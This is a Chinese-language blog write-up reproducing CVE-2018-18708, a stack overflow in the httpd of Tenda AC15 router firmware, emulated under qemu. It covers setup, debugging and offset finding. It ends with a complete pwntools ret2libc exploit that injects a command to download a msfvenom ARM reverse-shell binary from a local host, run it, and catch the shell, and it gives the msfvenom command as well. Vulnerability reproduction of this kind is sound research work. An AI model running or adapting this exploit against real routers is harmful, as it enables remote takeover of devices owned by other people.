Tenda 路由器 CVE-2018-18708 漏洞复现

Hexrotor

参考:Tenda CVE-2018-18708 漏洞复现 (z1r0.top)

固件下载:https://github.com/z1r00/IOT_Vul/blob/main/固件下载/US_AC15V1.0BR_V15.03.05.19_multi_TD01.zip

Start

该固件的 httpd 有一个栈溢出漏洞,在 post 请求处理函数 fromAddressNat() 中拼接 page 参数时使用了 sprintf 但没有做长度限制,导致此处变量 v6 可以造成栈溢出

直接 qemu 模拟:

1
sudo chroot . ./qemu-arm-static /bin/httpd

模拟的时候由于它带一些环境检查,所以会卡在一些地方,用 ida 简单处理下就行,最后会提示获取的 IP 地址为 255.255.255.255

为了解决 IP 地址的问题,需要创建一个网桥

1
2
3
4
5
6
7
8
9
10
# 创建网桥
sudo brctl addbr br0
# 向网桥中加入网卡
sudo brctl addif br0 eth0
# 开启网桥
sudo ifconfig br0 up
# 可选,用于dhcp获取地址
sudo dhclient br0
# 直接设置 IP
sudo ifconfig br0 10.0.0.2/24

然后访问 web 页面,会提示 page not found,将 webroot_ro 的文件复制到 webroot 即可

通过抓包可以知道,不管是 get 还是 post 必须包括 cookie:password

1
2
3
4
5
cookie = {"password" : "114514"}

try:
requests.post("http://169.254.162.25/goform/addressNat", timeout=1, cookies=cookie)
except:pass

这样发包 httpd 的 log 会有反应,用 gdb 调试看看

1
2
# 开启 gdb 调试端口 1234
sudo chroot . ./qemu-arm-static -g 1234 /bin/httpd
1
2
$ gdb-multiarch /bin/httpd
pwndbg> target remote 127.0.0.1:1234

在危险函数附近下个断点,看看能不能断下来,实际测试是能断下来,说明执行链过去了

然后可以传参 page 看看能不能溢出,答案是可以

1
2
3
4
5
6
cookie = {"password" : "114514"}
payload = cyclic(256+0x100)

param = { "page": payload }
try:
requests.post("http://169.254.162.25/goform/addressNat", params=param, timeout=1, cookies=cookie)

并且可以使用 cyclic_find("laac") 查找出 pc 偏移是 244,但是实际是还要 + 4,不太懂是为什么

既然可以控制 pc,那么可以考虑 ret2libc 执行 system,我没有真机,qemu user 模拟出来是没有随机化的,先打打看吧

1
2
3
4
5
Arch: arm
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)

libc 的地址可以 gdb 里用 vmmap 看看,虽然它没显示 libc 的名字,但是 size 最大的那个地址一般就是 libc

于是得知 libcBase = 0x3fd9c000

rop 思路:gadget1 给寄存器 reg 赋值 system 地址,/bin/sh 可以写栈上,gadget2 找那种 mov r0, sp; blx reg,这里正好有一组适合的 gadget

1
2
3
4
5
# 先找第二个,然后决定第一个用什么寄存器
# ROPgadget --binary libc.so.0|grep "mov r0, sp"
0x0001fd64 : mov r0, sp ; sub r1, fp, #0x8c ; blx r3
# 所以第一个用 r3,很好找到
0x00018298 : pop {r3, pc}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
import requests

libc = ELF("/home/hex/Desktop/TendaCVE/_US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/libc.so.0")
l = listen(9001)
libcBase = 0x3fd9c000
cookie = {"password" : "114514"}
# payload = cyclic(256+0x100)
# pc_offset = cyclic_find("laac") = 244
# r4_offset = cyclic_find("kaac") = 240
pop_r3_pc = 0x00018298 + libcBase # pop {r3, pc}
mov_r0_sp = 0x0001fd64 + libcBase # mov r0, sp;

cmd = b"/usr/bin/wget http://192.168.123.30:8888/venom -O /var/venom; /bin/chmod 777 /var/venom; /var/venom"
# cmd 写入的位置正好是 sp
# 用 msfvenom 生成了反弹 shell 木马,反弹连本机
# msfvenom -p linux/armle/shell_reverse_tcp LHOST=192.168.123.30 LPORT=9001 -f elf -o venom
# 随便用 busybox 开个 web 服务把马子放进去就行

payload = b"a"*244 + b"a"*4 + p32(pop_r3_pc) + p32(libcBase+libc.symbols["system"]) + p32(mov_r0_sp) + cmd
param = { "page": payload }
try:
requests.post("http://169.254.162.25/goform/addressNat", params=param, timeout=1, cookies=cookie)
except:pass
l.wait_for_connection()
success("reversed shell")
l.interactive()

随后我尝试用 qemu system 模拟,但是 gdbserver 传上去,本地 gdb 连上会报错,查了下是个存在很久的 bug,后面没搞了

  • 标题: Tenda 路由器 CVE-2018-18708 漏洞复现
  • 作者: Hexrotor
  • 创建于 : 2024-03-14 15:47:30
  • 更新于 : 2024-10-23 22:07:49
  • 链接: https://hexrotor.github.io/2024/03/14/Tenda-CVE-2018-18708/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
 评论
此页目录
Tenda 路由器 CVE-2018-18708 漏洞复现